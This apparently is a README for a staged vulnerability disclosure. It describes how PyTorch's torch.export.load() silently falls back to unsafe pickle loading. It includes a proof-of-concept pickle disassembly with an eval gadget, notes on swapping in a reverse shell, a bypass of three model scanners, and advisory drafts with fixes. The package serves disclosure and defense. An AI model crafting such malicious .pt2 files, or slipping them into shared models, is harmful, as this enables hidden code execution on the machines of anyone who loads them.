YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
torch.export.load() .pt2 β fail-open pickle fallback β arbitrary code execution (CWE-502 / CWE-94)
Status: hard-verified, staged. NOT filed. NOT uploaded.
Verified on: PyTorch 2.13.0+cpu (latest release as of 2026-07-24), Python 3.13 (exec) / 3.12 (scanners).
Verdict: BOTH β (a) huntr Model-File-Format report (target torch_export) because all three scanners MISS the .pt2, and (b) a genuine PyTorch library ACE worthy of a GitHub Security Advisory regardless of scanner behavior.
1. Summary
torch.export.load("model.pt2") β the standard, documented loader for PyTorch's
.pt2 export archive β deserializes the packaged example_inputs (and constants /
state_dict) through torch._export.serde.serialize.deserialize_torch_artifact().
That function attempts a safe torch.load(..., weights_only=True) and, on ANY
exception, silently falls back to torch.load(..., weights_only=False), which
executes arbitrary pickle __reduce__ / GLOBAL code.
An attacker crafts the nested example-inputs pickle so that its first opcode is a
non-allowlisted GLOBAL (__builtin__.eval). Under weights_only=True the
safe unpickler's find_class() rejects it and raises β which triggers the unsafe
fallback, running the attacker's code. The payload returns an empty tuple, so
deserialize_torch_artifact()'s isinstance(artifact,(tuple,dict)) post-check
passes and torch.export.load() returns a normal ExportedProgram with no error
and no warning surfaced to the caller β fully stealth.
This re-introduces, inside torch.export, exactly the arbitrary-code-execution that
PyTorch 2.6 closed when it flipped torch.load's weights_only default to True.
The safe default is present but structurally defeated by the blanket
except Exception: β weights_only=False.
2. Affected component (file : line)
torch/_export/serde/serialize.py β deserialize_torch_artifact():
427 def deserialize_torch_artifact(serialized):
...
434 buffer = io.BytesIO(serialized)
435 buffer.seek(0)
436 # weights_only=False as we want to load custom objects here (e.g. ScriptObject)
437 try:
438 artifact = torch.load(buffer, weights_only=True) # safe path
439 except Exception as e:
440 buffer.seek(0)
441 artifact = torch.load(buffer, weights_only=False) # <-- UNSAFE FALLBACK: arbitrary code exec
442 log.warning("Fallback to weights_only=False succeeded. ...")
...
448 if not isinstance(artifact, (tuple, dict)):
449 raise AssertionError(...)
Reached from the public API:
torch.export.load() β torch/export/__init__.py:load() β
torch/export/pt2_archive/_package.py:load_pt2() β _load_exported_programs() β
ExportedProgramDeserializer.deserialize() β
GraphModuleDeserializer.deserialize() (serialize.py:2989,
self.example_inputs = deserialize_torch_artifact(example_inputs)) β
deserialize_torch_artifact() (serialize.py:442).
- CWE-502 Deserialization of Untrusted Data (primary)
- CWE-94 Improper Control of Generation of Code (Code Injection)
- CWE-693 Protection Mechanism Failure (the fallback nullifies
weights_only=True)
3. Proof of concept
Build (harmless, non-destructive marker payload β writes /tmp/PT2_RCE_POC.txt):
python build_poc.py # -> model.pt2 (malicious) + benign.pt2 (control)
Trigger via the standard documented loader only (no private/internal API):
from torch.export import load
load("model.pt2") # returns ExportedProgram, no exception
# side effect: /tmp/PT2_RCE_POC.txt now exists -> code executed at load time
verify_exec.py reproduces this and prints the marker contents. Observed output on
torch 2.13.0+cpu:
marker present BEFORE load: False
torch.export.load() returned: ExportedProgram (NO exception -> stealth)
marker present AFTER load : True
marker contents : pwned via torch.export.load .pt2 fail-open fallback
The captured traceback proves the exact path β the safe attempt raises, then the unsafe fallback runs the gadget:
File ".../torch/_export/serde/serialize.py", line 438, in deserialize_torch_artifact
artifact = torch.load(buffer, weights_only=True)
_pickle.UnpicklingError: Weights only load failed. ...
WeightsUnpickler error: Unsupported global: GLOBAL eval was not an allowed global by default...
During handling of the above exception, another exception occurred:
File ".../torch/_export/serde/serialize.py", line 442, in deserialize_torch_artifact
log.warning("Fallback to weights_only=False succeeded. ...") # line 441 already ran the gadget
Payload delivery: the malicious pickle lives in the nested archive
model/data/sample_inputs/model.pt β archive/data.pkl inside the outer .pt2
zip. Disassembly of the inner pickle:
0: PROTO 2
2: GLOBAL '__builtin__ eval' # non-allowlisted -> raises under weights_only=True
BINUNICODE "(open('/tmp/PT2_RCE_POC.txt','w').write('...'), ())[1]"
TUPLE1
REDUCE # eval(payload) executes on the fallback load
STOP
A real attacker swaps the eval(...) argument for any command
(os.system, reverse shell, etc.). The gadget returns () so the load completes
cleanly and the model still functions β stealthy supply-chain implant in any
.pt2 shared via a model hub.
Artifacts (sha256):
model.pt2bed23d781a5ab9d8d1dacc9579200e5dc9bb6bc3eb1d273e6b2436fd2b47c12ebenign.pt26260246907cb95686a45b3c5c41890da66f63dea06c797927fe068cda0a9c9ae
4. Scanner results (resolves the HOLD caveat) β all three MISS the .pt2
Pinned versions: modelscan 0.8.8, picklescan 1.0.5, fickling 0.1.12 (numpy 2.5.1).
| Scanner | Command | Verdict on model.pt2 (MALICIOUS) |
Verdict on benign.pt2 (control) |
|---|---|---|---|
| modelscan 0.8.8 | modelscan -p model.pt2 |
MISS β "No issues found! π"; error: "ModelScan does not support nested zip files." | No issues found |
| picklescan 1.0.5 | picklescan -p model.pt2 |
MISS β "Scanned files: 0 / Dangerous globals: 0" (never reaches the nested pickle) | Scanned files: 0 |
| fickling 0.1.12 | fickling --check-safety model.pt2 |
MISS β "No pickle files detected" (does not unwrap the .pt2 β nested .pt zip) |
No pickle files detected |
Fickling only flags the gadget if a human manually double-unzips to the raw
inner archive/data.pkl (then reports OVERTLY_MALICIOUS) β but it also flags the
benign control's inner pickle as LIKELY_UNSAFE (_rebuild_tensor_v2), so even
that manual path is not a clean discriminator, and no automated .pt2 scan reaches
it.
Conclusion: against the delivered .pt2 artifact, all three scanners provide
zero detection β this is a clean scanner-bypass, hence huntr Model-File-Format
eligible (target torch_export) and an unmediated library RCE.
Root cause of the bypass (independent of the fail-open bug): the .pt2 is a zip
containing a nested torch-save zip (sample_inputs/model.pt) that itself contains
the pickle β two levels of zip nesting that none of the three scanners descend into.
5. huntr Model-File-Format report (target: torch_export)
- Title:
torch.export.load()executes arbitrary code from a crafted.pt2via fail-openweights_only=Falsefallback - Format / target:
torch_export(.pt2) - Vulnerability type: Deserialization of Untrusted Data β RCE (CWE-502 / CWE-94)
- Loader (standard, documented):
torch.export.load(path) - Affected: PyTorch through 2.13.0 (latest); the fallback is present wherever
deserialize_torch_artifactexists intorch/_export/serde/serialize.py. - Scanner status: modelscan 0.8.8 / picklescan 1.0.5 / fickling 0.1.12 all report
the malicious
.pt2as clean (evidence table Β§4). - Impact: loading an untrusted
.pt2(e.g. downloaded from a model hub) executes attacker code at load time; model returns normally afterward (stealth). - PoC:
build_poc.py+verify_exec.py(Β§3).
6. PyTorch GitHub Security Advisory draft
Summary. torch.export.load() on a crafted .pt2 archive achieves arbitrary
code execution. torch._export.serde.serialize.deserialize_torch_artifact()
attempts torch.load(weights_only=True) and, on any exception, silently retries
with weights_only=False, defeating the safe-by-default protection introduced in
PyTorch 2.6. A single non-allowlisted GLOBAL in the packaged example-inputs pickle
forces the safe attempt to raise and triggers the unsafe fallback.
Affected versions. Confirmed on torch==2.13.0 (latest). The vulnerable
fail-open pattern is present in the current main and every release whose
serialize.py contains this try/except.
Attack vector. A malicious .pt2 model file distributed via a model hub or any
untrusted channel; the victim invokes the ordinary torch.export.load().
CVSS 3.1: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 (High).
(Network-distributed model file; requires the victim to load it; full C/I/A loss via
arbitrary code execution.)
Root cause. serialize.py:437-441:
try:
artifact = torch.load(buffer, weights_only=True)
except Exception as e: # too broad
buffer.seek(0)
artifact = torch.load(buffer, weights_only=False) # arbitrary code execution
weights_only=True raises UnpicklingError for any non-allowlisted global β
including benign-but-unlisted types β and the handler responds by disabling the
safety check entirely, so any attacker who can make the safe path raise (trivial:
include one disallowed GLOBAL) gains code execution.
Reproduction. See Β§3 (build_poc.py, verify_exec.py); harmless marker payload.
Impact. Remote code execution on any host that loads an untrusted .pt2 with the
documented API. Silent β the load succeeds and the model works, enabling stealthy
supply-chain compromise.
Remediation.
- Remove the fail-open fallback β never downgrade to
weights_only=Falseautomatically. If custom objects are genuinely required, gate them behind an explicit, caller-supplied opt-in (e.g. atrust/allow_unsafeargument that defaults toFalse), never as an automatic exception handler. - If a fallback must exist, restrict it to a curated
safe_globalsallowlist viatorch.serialization.safe_globals([...])rather than unrestrictedweights_only=False. - Do not silence the downgrade to
log.warning; a security-relevant downgrade should raise by default. - Have
.pt2loading refuse nested pickles carrying non-allowlisted globals outright.
7. Files in this package
build_poc.pyβ regeneratesmodel.pt2(malicious) andbenign.pt2(control); harmless marker payload only.verify_exec.pyβ loadsmodel.pt2viatorch.export.load()and confirms the marker was written (exec proof).model.pt2β malicious PoC archive.benign.pt2β benign control (scanner baseline).README.mdβ this document.
8. Environment / versions
- torch: 2.13.0+cpu (latest release, confirmed via PyTorch cpu index)
- python: 3.13 (exec venv), 3.12 (scanner venv β modelscan 0.8.8 requires <3.13)
- modelscan: 0.8.8, picklescan: 1.0.5, fickling: 0.1.12, numpy: 2.5.1
- Exec confirmed: YES β
/tmp/PT2_RCE_POC.txtwritten bytorch.export.load("model.pt2").